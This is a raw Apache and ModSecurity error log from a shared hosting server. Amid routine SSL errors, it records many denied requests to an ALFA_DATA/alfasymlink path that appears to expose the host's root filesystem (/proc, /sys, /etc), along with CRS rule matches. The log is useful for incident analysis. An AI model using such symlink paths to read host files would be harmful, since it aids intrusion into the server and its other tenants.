[Mon Oct 26 08:07:55.099244 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 44.209.35.147:45659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:59.033463 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 52.6.5.24:28881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:03.135833 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.221.222.168:56818] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:15.156633 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 23.21.175.228:50278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:19.253667 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 18.232.11.247:35053] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:27.182979 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 54.197.82.195:54365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:31.540680 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 3.231.193.38:18922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:35.237719 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 34.226.89.140:19465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:40.955680 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 85.208.96.208:24496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/reclaim_account
[Mon Oct 26 08:08:55.397438 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.221.156.96:44653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:08:59.427205 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 98.83.177.42:37953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:09:03.502385 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.215.49.176:43975] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:09:11.314847 2026] [core:error] [pid 3026995:tid 3026995] (13)Permission denied: [client 34.192.67.98:3600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource4_wc
[Mon Oct 26 08:09:19.331672 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.0.63.151:60244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:09:35.574058 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 18.213.70.100:47346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:09:39.666685 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 54.235.172.96:34885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:09:43.552104 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 98.84.184.80:11502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource0
[Mon Oct 26 08:10:00.342226 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 144.76.19.24:54002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/io
[Mon Oct 26 08:10:11.597408 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 18.214.186.220:29138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:10:15.548880 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 52.0.218.219:4428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:10:23.884586 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 18.214.124.6:24849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:10:31.543558 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 44.209.187.99:10530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/battery/bind
[Mon Oct 26 08:10:35.705925 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.200.93.170:43799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:10:39.548645 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 3.89.170.186:5458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:10:43.768295 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 34.227.156.153:33389] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 08:10:48.398098 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 85.208.96.197:18522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/named.conf.cache
[Mon Oct 26 08:10:51.591086 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 52.54.249.218:48146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:03.597398 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 44.208.193.63:45355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:07.790855 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 44.221.105.234:59006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:11.813352 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 35.174.253.85:13518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:15.864260 2026] [core:error] [pid 3023408:tid 3023408] (13)Permission denied: [client 185.191.171.12:61712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/cpu_partial
[Mon Oct 26 08:11:27.802505 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 52.204.71.8:31520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/7/module/uevent
[Mon Oct 26 08:11:39.800604 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 18.207.79.144:47896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:43.930744 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 50.16.248.61:47687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:47.839160 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.221.156.96:9229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:11:55.887521 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 3.94.157.25:2553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:03.883961 2026] [security2:error] [pid 3023393:tid 3023393] [client 52.44.174.136:31615] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/memory22/"] [unique_id "at9DkxuQQn9l7nrKN7L5zAAAABo"]
[Mon Oct 26 08:12:03.884010 2026] [security2:error] [pid 3023393:tid 3023393] [client 52.44.174.136:31615] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/memory22/"] [unique_id "at9DkxuQQn9l7nrKN7L5zAAAABo"]
[Mon Oct 26 08:12:07.822503 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 18.215.77.19:51058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:11.834081 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 44.212.131.50:29553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:19.781062 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 23.21.148.226:58212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/remove_id
[Mon Oct 26 08:12:27.685321 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 52.204.89.12:42210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:31.810539 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 52.3.156.186:10354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:39.014023 2026] [authz_core:error] [pid 3023408:tid 3023408] [client 216.25.124.24:15440] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 08:12:43.743557 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 50.16.216.166:23575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:12:51.708354 2026] [core:error] [pid 3023408:tid 3023408] (13)Permission denied: [client 35.173.18.61:39563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource3
[Mon Oct 26 08:13:01.426173 2026] [security2:error] [pid 3023413:tid 3023413] [client 16.216.88.51:26624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at9DzWku6GZfqACxyeR7tgAAACU"]
[Mon Oct 26 08:13:01.426659 2026] [security2:error] [pid 3023413:tid 3023413] [client 16.216.88.51:26624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at9DzWku6GZfqACxyeR7tgAAACU"]
[Mon Oct 26 08:13:01.427019 2026] [security2:error] [pid 3023413:tid 3023413] [client 16.216.88.51:26624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at9DzWku6GZfqACxyeR7tgAAACU"]
[Mon Oct 26 08:13:03.369567 2026] [security2:error] [pid 3026993:tid 3026993] [client 185.191.171.6:21864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HdmiLpeAudio.conf"] [unique_id "at9Dz3J9l6phwCFrVaFf2gAAAAA"]
[Mon Oct 26 08:13:03.369987 2026] [security2:error] [pid 3026993:tid 3026993] [client 185.191.171.6:21864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HdmiLpeAudio.conf"] [unique_id "at9Dz3J9l6phwCFrVaFf2gAAAAA"]
[Mon Oct 26 08:13:03.370423 2026] [security2:error] [pid 3026993:tid 3026993] [client 185.191.171.6:21864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HdmiLpeAudio.conf"] [unique_id "at9Dz3J9l6phwCFrVaFf2gAAAAA"]
[Mon Oct 26 08:13:03.742352 2026] [ssl:error] [pid 3026994:tid 3026994] (22)Invalid argument: [client 100.29.160.53:58514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:13:15.686857 2026] [ssl:error] [pid 3023413:tid 3023413] (5)Input/output error: [client 50.19.102.70:7063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:13:19.724011 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.219.80.71:30627] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:13:23.900019 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 52.204.71.8:14341] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:13:43.762969 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 34.204.150.196:29858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:13:47.290648 2026] [security2:error] [pid 3015725:tid 3015725] [client 107.172.76.131:53614] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9D7wbLerFfv4dhcWT1tAAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:13:47.290700 2026] [security2:error] [pid 3015725:tid 3015725] [client 107.172.76.131:53614] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9D7wbLerFfv4dhcWT1tAAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:13:51.742943 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.231.118.144:46184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:14:19.778029 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.21.62.139:59719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:14:23.291632 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 85.208.96.199:48716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/partial
[Mon Oct 26 08:14:24.745056 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 85.208.96.201:31002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/min_partial
[Mon Oct 26 08:14:30.720299 2026] [core:error] [pid 3026995:tid 3026995] (13)Permission denied: [client 185.191.171.6:35270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/trace
[Mon Oct 26 08:14:31.926290 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 34.194.95.99:62774] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:14:40.055786 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 52.21.62.139:63915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:14:43.829703 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 18.235.81.246:63016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:14:55.787807 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 3.89.176.255:18305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:11.648673 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.209.174.110:62292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:15.650325 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.4.213.199:47078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:19.715231 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 3.221.50.71:57981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:27.597795 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.81.253.213:29771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:31.668983 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.225.24.180:36440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:35.677304 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 100.29.34.97:4536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:39.530778 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.203.152.231:32644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:51.576258 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 34.234.197.175:55052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:15:59.514497 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.223.134.5:25517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:03.402009 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 34.195.60.66:44367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:15.297493 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 54.144.185.255:58596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:19.313564 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 23.23.104.107:7910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:35.189741 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 44.216.172.204:56695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:36.700991 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 185.191.171.15:56824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/destroy_by_rcu
[Mon Oct 26 08:16:39.304791 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 98.83.94.113:14445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:51.103944 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 98.82.40.168:6919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:51.721887 2026] [core:error] [pid 3027705:tid 3027705] (13)Permission denied: [client 85.208.96.212:63762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/slabs
[Mon Oct 26 08:16:55.110544 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 98.82.40.168:13241] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:16:59.242589 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 44.195.50.71:4160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:02.976462 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.200.58.199:60763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:07.611410 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 54.243.63.52:51417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:10.956524 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 52.200.58.199:50749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:12.854758 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Eu6XMILbsMtUzObzKogAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:17:12.854838 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Eu6XMILbsMtUzObzKogAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:17:18.967642 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 44.210.204.255:22931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:23.293963 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 52.0.41.164:10737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:30.921229 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 35.169.119.108:9674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:34.852472 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 3.221.222.168:25324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:39.564700 2026] [security2:error] [pid 3027705:tid 3027705] [client 101.32.208.70:44650] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at9E42VXVQByzmtTYWxgXwAAAAc"]
[Mon Oct 26 08:17:39.565895 2026] [authz_core:error] [pid 3027705:tid 3027705] [client 101.32.208.70:44650] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 08:17:42.862489 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 44.213.202.136:18075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/cpu1/crash_notes_size
[Mon Oct 26 08:17:46.911851 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 35.171.117.160:34566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:17:54.798062 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 54.84.250.51:54417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:02.900488 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.3.102.51:29892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:26.616141 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 54.235.158.162:10442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:30.610031 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.222.190.107:12010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:34.527102 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.203.65.83:26754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:38.678348 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 54.92.171.106:49317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:46.429687 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.208.156.9:29849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:18:58.451265 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 35.169.240.53:48119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:19:02.511194 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.216.227.216:18578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:19:34.320412 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 3.213.46.222:6028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/ac/bind
[Mon Oct 26 08:19:38.194269 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 34.206.249.188:64752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:19:46.220334 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.194.14.255:19464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:19:54.217449 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 3.213.46.222:62389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:19:58.166895 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.231.156.59:42056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:02.185110 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 184.72.95.195:34917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:10.216696 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.0.218.219:46807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:10.623974 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 85.208.96.200:21596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:18.213044 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 52.203.65.83:43844] AH02013: coalesce failed to read from data bucket
